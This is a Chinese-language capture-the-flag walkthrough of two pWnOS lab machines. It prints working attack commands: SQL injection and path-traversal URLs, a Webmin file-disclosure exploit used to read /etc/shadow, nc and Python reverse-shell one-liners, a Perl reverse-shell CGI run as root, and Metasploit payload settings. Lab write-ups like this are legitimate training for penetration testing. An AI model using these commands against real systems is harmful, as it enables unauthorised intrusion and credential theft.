【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程

admin 2025年1月26日16:08:50评论10 views字数 6065阅读20分13秒阅读模式
~ 清者自清,无需多言 ~

pWnOS1.0打靶思路

helow,祝师傅们新年快乐啊,快过年了也得卷哈,这篇文章总共包含了pwnos的两个靶机,一个是Webmin文件披露漏洞,以及Simple PHP Blog指定版本的渗透,还有文件包含perl 反弹shell等知识点,完整的打靶思路详细教程,感谢观看。

第一个靶机下载链接见:

https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip

注意导入vmware的时候一定要选择这个 “我已移动该虚拟机” ,否则扫描不到靶机。

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125162832834

网络模式为nat,开机后使用主机发现命令

arp-scan -l
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125163409736

端口扫描,端口扫描的内容如下

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125163717981

总共有两个http服务,一个是10000端口(注意这里如果登录错误太多了话,会导致你的ip封禁)

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125164139869

一个是80端口,点击next

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125163657324

我们一路下一步

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125220804936

被嘲讽了

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125220742116

嘲讽页面的sql注入(像xss,文件包含都试试)

http://10.10.10.129/index2.php?name=admin%27%20and%201=1%20--+&level=sk1ll3d+n00b%27%20and%201=1%20--+&submit=Please+Help%21 # sql
http://10.10.10.129/index2.php?name=../../../../../../../../etc/passwd&level=../../../../../etc/passwd&submit=../../../../etc/passwd # 文件包含
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125221129986

经过一番测试后,发现一个文件包含点

http://10.10.10.129/index1.php?help=true&connect=/etc/passwd
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125230558403

/etc/shadow 密码文件

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125233623712

有了文件包含,但是没有文件上传点,不能通过文件包含图片马的方式获取shell,转换思路,分析/etc/passwd文件,他有四个用户

curl 'http://10.10.10.129/index1.php?help=true&connect=/etc/passwd'
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125234850884

目录扫描出来一个php文件夹,包含了phpmyadmin站点目录,但是需要进行401认证,弱口令admin/admin,root/root登录失败,那么切换这四个用户试试呢

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125164403871
vmware
obama
osama
yomama

很遗憾都失败了,我点击了取消,这里出现了指纹信息,phpMyAdmin 2.6.3-pl1

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125235051689

上exp

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125235117947

可以看到这是一个跨站脚本的漏洞

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125235408015

对于我们获取shell用处不是很大,继续切换思路,放眼到10000端口,可以试试之前的用户名(都失败)

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125235453512

那么就上exp,Webmin,那么如何选择这些内容呢

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125235719975

尽量不选择Metasploit的利用方式,据红队笔记大佬说,Metasploit好比一个黑盒,我们看不到执行的过程,不利于学习渗透(oscp考试也限制使用msf)。其次需要认证Authenticated的漏洞我们也不选,因为此时我们都不知道如何登录webmin。CSRF的漏洞优先级较低,也先不考虑,我们需要优先考虑能直接获取 shell 的漏洞。所以有用的脚本可能如下,命令执行的有三个 705、746、47293,文件披露(任意文件泄露)的有两个1997、2017

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126000753883
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126000917439

文件披露的1997(不行)、2017可以

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126001315870

根据提示,得出命令如下,读出/etc/shadow密码文件

perl 2017.pl 10.10.10.129 10000 /etc/shadow http
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126001428386

用户vmware密码h4ckm3,其他几个都失败

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126002044038

由于靶机那边出了点问题,不能让我ssh连接了(源wp是可以的,应该是ssh版本太新了,windows和kali都不行,连不上)

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126003225987

这里我就想了个办法,只能用nc反弹了(登录原来的系统)

nc 10.10.10.128 6666 -e /bin/bash
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126003528899

切换上级目录,可以看到不是交互式终端

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126003513002

创建交互式终端

python -c 'import pty; pty.spawn("/bin/bash");'

系统信息收集,是ubuntu非常老的版本了7.10

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126003822365

看看有没有内核提权(没有)

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126003946046

sudo -l ,很遗憾了,这个用户好可怜,用不了sudo,和我们一样都是打工仔

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126004027345
uname -a 
cat /etc/os-release   # 没有lsb_release -a命令可以使用这个代替
sudo -l # 查看可以使用sudo的文件
find / -perm -4000 -print 2>/dev/null  # 查找 SUID文件
ls -al /etc/cron* # 查看所有计划任务
find / -perm 777 -type f 2>/dev/null # 查看文件权限为777的文件信息

计划任务,没有一个普通用户能用的,打工仔已经坐不住了

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126004225048

回到刚刚读取到的shadow文件,既然能读取shadow文件,那么一定是以root的身份读取这个文件的,如果我们上传一个可执行的脚本呢?利用prel语言来读取并执行这个文件。之所以要将后缀名改为.cgi,我的理解是要将perl语言的代码改写为执行文件,如果不修改后缀名的话,用2017.pl的exp只能以root权限读取shell.pl,而无法执行shell.pl,也就无法反弹shell

cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126005455297

Webmin 的可执行文件后缀

  • 无后缀:Webmin 的主可执行文件通常是一个没有后缀的脚本文件,例如  webmin
  • .cgi 后缀:Webmin 使用 CGI 脚本来处理 Web 请求,这些脚本文件通常以  .cgi  为后缀。例如, /usr/share/webmin/  目录下的许多文件都是  .cgi  文件。
  • .pl 后缀:Webmin 的某些脚本文件可能以  .pl  为后缀,表示它们是 Perl 脚本。例如,/etc/webmin/  目录下的配置文件和脚本文件可能包含  .pl  后缀。

修改这个可执行文件

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126005737211

靶机下载后将文件赋予执行权限

which wget
wget 10.10.10.128:443/shell.cgi
chmod +x shell.cgi
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126010238470

继续利用脚本

perl 2017.pl 10.10.10.129 10000 /tmp/shell.cgi http
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126010157119

反弹成功

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250126010210283

pWnOS2.0打靶思路

下载链接见:

https://download.vulnhub.com/pwnos/pWnOS_v1.0.zip

下载之后用VMware打开,特别注意,这个靶机的ip是固定的10.10.10.100,我们需要将靶机设置为NAT模式,同时要将攻击机kali的ip也处于10.10.10.0/24这个网段,具体在菜单栏的编辑——虚拟网络编辑器,如下,点击更改设置,保证虚拟机的子网ip是10.10.10.0即可(否则可能扫不到靶机的ip)。

主机发现

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124221507546

全端口syn扫描

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124221744846

访问80端口

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124221715863

目录扫描

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124221959035

有一个info.php,找到文件

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124222156828

/blog/config/这里有两个文件

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124222404335

第一个文件内容

No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|[email protected]||||||1||

密码文件内容,是一个md5(Unix)类型的加密

$1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/

返回到主页,测试sql注入

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124223325028

sql语句报错,存在sql注入漏洞

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124223259536

那么就万能密码,成功登录页面只有一个Welcome [email protected],一个邮箱信息,

admin' || 1=1 -- +
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124224904705

Powered by Simple PHP Blog 0.4.0 cms的版本指纹信息

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250124232755219

框中的这第四个有一个msf的exp,远程命令执行(Remote Command Execution),符合条件的只有后面两个

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125142943399

他是说这个系统中有三个漏洞,第一个是暴露了 password.txt ,刚开始我们目录扫描的时候已经扫描出来了,第二个在登录用户的图像上传,没有身份验证,上传任意的文件,第三个漏洞是博客评论可以任意删除。

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125144927853

看样子是需要我们登录进去了,还有一个exp没有用上

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125145627877

插叙:如果出现运行报错Can't locate Switch.pm in @INC,应该是perl版本依赖未安装的问题,运行如下命令即可。

sudo apt install libswitch-perl

根据他的提示,我们利用 -e 参数,指定好第一个文件上传的选项 1,这里提示我们在网站的images下面创建了一个cmd.php文件

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125150150712

访问即可

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125150346841

利用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125150659342

这里就不需要创建交互式终端了,这里使用python反弹的shell,默认已经可以交互式了。

系统信息收集,属于低版本的ubuntu,首先考虑的是内核提权

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125151418904

继续信息收集,返回上级目录,看到一个mysqli_connect.php文件,可以看到mysql的密码信息

user : root
pass : goodday
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125151750157

鉴权失败

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125151906228

返回home看到有一个用户,用刚刚的mysql密码登录试试,鉴权失败

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125152151927

文件权限信息收集

find / -perm 777 -type f 2>/dev/null # 777文件
find / -perm -4000 -print 2>/dev/null # SUID文件

sudo -l 意外的发现,www-data用户能够使用sudo,但是不知道密码

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125152648973

经过一番折腾后,在var目录下面又找到了一个数据库连接的文件

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125152834059

密码为 root@ISIntS

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125152920284

又是一个密码信息,大概率是dan用户的

[email protected]
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125153032349

鉴权失败

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125153139681

目前已知三个密码信息(其中一个是邮箱)

[email protected]   # 数据表中dan的邮箱
root@ISIntS  # 数据库密码
goodday   # 假的数据库密码
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125153500490

回到刚刚的内核提权,尝试一下

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125154250083

已关机。。。。利用失败

【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125154300712

靶机提权主要是利用已知的所有密码信息,进行密码碰撞,利用数据库连接的密码,切换root用户来进行提权

也可以使用第二种方法(考试只能使用一次),msf(不清楚什么原因,漏洞利用成功,建立会话失败,是利用失败的,可以自行尝试)

msfconsole
search Simple PHP Blog 0.4.0
set rhosts 10.10.10.100
set URI blog
set payload php/meterpreter/reverse_tcp
run
【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程
image-20250125154854059

 

原文始发于微信公众号(泷羽Sec):【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月26日16:08:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【oscp】pWnOS系列全教程,Webmin文件披露,Simple PHP Blog渗透教程https://cn-sec.com/archives/3676491.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息